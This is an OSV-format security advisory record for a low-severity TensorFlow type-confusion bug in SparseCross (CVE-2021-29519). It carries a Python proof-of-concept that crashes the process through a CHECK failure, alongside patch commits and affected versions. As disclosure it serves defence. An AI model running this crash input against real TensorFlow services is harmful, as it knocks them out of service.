{"id":"GHSA-772j-h9xw-ffp5","summary":"CHECK-fail in SparseCross due to type confusion","details":"### Impact\nThe API of `tf.raw_ops.SparseCross` allows combinations which would result in a `CHECK`-failure and denial of service:\n\n```python\nimport tensorflow as tf\n\nhashed_output = False\nnum_buckets = 1949315406\nhash_key = 1869835877\nout_type = tf.string \ninternal_type = tf.string\n\nindices_1 = tf.constant([0, 6], shape=[1, 2], dtype=tf.int64)\nindices_2 = tf.constant([0, 0], shape=[1, 2], dtype=tf.int64)\nindices = [indices_1, indices_2]\n\nvalues_1 = tf.constant([0], dtype=tf.int64)\nvalues_2 = tf.constant([72], dtype=tf.int64)\nvalues = [values_1, values_2]\n\nbatch_size = 4\nshape_1 = tf.constant([4, 122], dtype=tf.int64)\nshape_2 = tf.constant([4, 188], dtype=tf.int64)\nshapes = [shape_1, shape_2]\n\ndense_1 = tf.constant([188, 127, 336, 0], shape=[4, 1], dtype=tf.int64)\ndense_2 = tf.constant([341, 470, 470, 470], shape=[4, 1], dtype=tf.int64)\ndense_3 = tf.constant([188, 188, 341, 922], shape=[4, 1], dtype=tf.int64)\ndenses = [dense_1, dense_2, dense_3]\n\ntf.raw_ops.SparseCross(indices=indices, values=values, shapes=shapes, dense_inputs=denses, hashed_output=hashed_output,\n                       num_buckets=num_buckets, hash_key=hash_key, out_type=out_type, internal_type=internal_type)\n```\n\nThe above code will result in a `CHECK` fail in [`tensor.cc`](https://github.com/tensorflow/tensorflow/blob/3d782b7d47b1bf2ed32bd4a246d6d6cadc4c903d/tensorflow/core/framework/tensor.cc#L670-L675):\n\n```cc\nvoid Tensor::CheckTypeAndIsAligned(DataType expected_dtype) const {\n  CHECK_EQ(dtype(), expected_dtype)\n      \u003c\u003c \" \" \u003c\u003c DataTypeString(expected_dtype) \u003c\u003c \" expected, got \"\n      \u003c\u003c DataTypeString(dtype());\n  ...\n}\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/3d782b7d47b1bf2ed32bd4a246d6d6cadc4c903d/tensorflow/core/kernels/sparse_cross_op.cc#L114-L116) is tricked to consider a tensor of type `tstring` which in fact contains integral elements:\n\n```cc\n  if (DT_STRING == values_.dtype())\n      return Fingerprint64(values_.vec\u003ctstring\u003e().data()[start + n]);\n  return values_.vec\u003cint64\u003e().data()[start + n];\n```\n\nFixing the type confusion by preventing mixing `DT_STRING` and `DT_INT64` types solves this issue.\n\n### Patches\nWe have patched the issue in GitHub commit [b1cc5e5a50e7cee09f2c6eb48eb40ee9c4125025](https://github.com/tensorflow/tensorflow/commit/b1cc5e5a50e7cee09f2c6eb48eb40ee9c4125025).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.","aliases":["BIT-tensorflow-2021-29519","CVE-2021-29519","PYSEC-2021-156","PYSEC-2021-447","PYSEC-2021-645"],"modified":"2026-05-07T05:00:31.032182188Z","published":"2021-05-21T14:21:08Z","database_specific":{"severity":"LOW","github_reviewed":true,"github_reviewed_at":"2021-05-18T23:29:36Z","nvd_published_at":"2021-05-14T20:15:00Z","cwe_ids":["CWE-843"]},"references":[{"type":"WEB","url":"https://github.com/tensorflow/tensorflow/security/advisories/GHSA-772j-h9xw-ffp5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-29519"},{"type":"WEB","url":"https://github.com/tensorflow/tensorflow/commit/b1cc5e5a50e7cee09f2c6eb48eb40ee9c4125025"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-447.yaml"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-645.yaml"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-156.yaml"}],"affected":[{"package":{"name":"tensorflow","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.4"}]}],"versions":["0.12.0","0.12.1","1.0.0","1.0.1","1.1.0","1.10.0","1.10.1","1.11.0","1.12.0","1.12.2","1.12.3","1.13.1","1.13.2","1.14.0","1.15.0","1.15.2","1.15.3","1.15.4","1.15.5","1.2.0","1.2.1","1.3.0","1.4.0","1.4.1","1.5.0","1.5.1","1.6.0","1.7.0","1.7.1","1.8.0","1.9.0","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.1.0","2.1.1","2.1.2","2.1.3"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-772j-h9xw-ffp5/GHSA-772j-h9xw-ffp5.json"}},{"package":{"name":"tensorflow","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.2.0"},{"fixed":"2.2.3"}]}],"versions":["2.2.0","2.2.1","2.2.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-772j-h9xw-ffp5/GHSA-772j-h9xw-ffp5.json"}},{"package":{"name":"tensorflow","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.0"},{"fixed":"2.3.3"}]}],"versions":["2.3.0","2.3.1","2.3.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-772j-h9xw-ffp5/GHSA-772j-h9xw-ffp5.json"}},{"package":{"name":"tensorflow","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.4.0"},{"fixed":"2.4.2"}]}],"versions":["2.4.0","2.4.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-772j-h9xw-ffp5/GHSA-772j-h9xw-ffp5.json"}},{"package":{"name":"tensorflow-cpu","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow-cpu"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.4"}]}],"versions":["1.15.0","2.1.0","2.1.1","2.1.2","2.1.3"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-772j-h9xw-ffp5/GHSA-772j-h9xw-ffp5.json"}},{"package":{"name":"tensorflow-cpu","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow-cpu"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.2.0"},{"fixed":"2.2.3"}]}],"versions":["2.2.0","2.2.1","2.2.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-772j-h9xw-ffp5/GHSA-772j-h9xw-ffp5.json"}},{"package":{"name":"tensorflow-cpu","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow-cpu"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.0"},{"fixed":"2.3.3"}]}],"versions":["2.3.0","2.3.1","2.3.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-772j-h9xw-ffp5/GHSA-772j-h9xw-ffp5.json"}},{"package":{"name":"tensorflow-cpu","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow-cpu"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.4.0"},{"fixed":"2.4.2"}]}],"versions":["2.4.0","2.4.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-772j-h9xw-ffp5/GHSA-772j-h9xw-ffp5.json"}},{"package":{"name":"tensorflow-gpu","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow-gpu"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.4"}]}],"versions":["0.12.0","0.12.1","1.0.0","1.0.1","1.1.0","1.10.0","1.10.1","1.11.0","1.12.0","1.12.2","1.12.3","1.13.1","1.13.2","1.14.0","1.15.0","1.15.2","1.15.3","1.15.4","1.15.5","1.2.0","1.2.1","1.3.0","1.4.0","1.4.1","1.5.0","1.5.1","1.6.0","1.7.0","1.7.1","1.8.0","1.9.0","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.1.0","2.1.1","2.1.2","2.1.3"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-772j-h9xw-ffp5/GHSA-772j-h9xw-ffp5.json"}},{"package":{"name":"tensorflow-gpu","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow-gpu"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.2.0"},{"fixed":"2.2.3"}]}],"versions":["2.2.0","2.2.1","2.2.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-772j-h9xw-ffp5/GHSA-772j-h9xw-ffp5.json"}},{"package":{"name":"tensorflow-gpu","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow-gpu"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.0"},{"fixed":"2.3.3"}]}],"versions":["2.3.0","2.3.1","2.3.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-772j-h9xw-ffp5/GHSA-772j-h9xw-ffp5.json"}},{"package":{"name":"tensorflow-gpu","ecosystem":"PyPI","purl":"pkg:pypi/tensorflow-gpu"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.4.0"},{"fixed":"2.4.2"}]}],"versions":["2.4.0","2.4.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-772j-h9xw-ffp5/GHSA-772j-h9xw-ffp5.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}]}